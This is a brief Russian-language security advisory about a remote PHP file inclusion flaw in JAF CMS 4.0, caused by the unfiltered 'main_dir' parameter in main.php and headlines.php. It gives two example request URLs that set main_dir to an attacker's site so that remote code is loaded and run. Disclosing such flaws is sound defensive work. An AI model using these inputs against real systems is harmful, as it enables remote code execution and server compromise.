Программа: JAF CMS 4.0

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре «main_dir» сценариями main.php и
headlines.php.

Примеры:

http://www.example.com/[jmf_path]/module/forum/main.php?id=1 &main_dir=http://attacker’s site

http://www.example.com/[jmf_path]/module/forum/headlines.php? id=1&main_dir=http:attacker’s site



Оставить мнение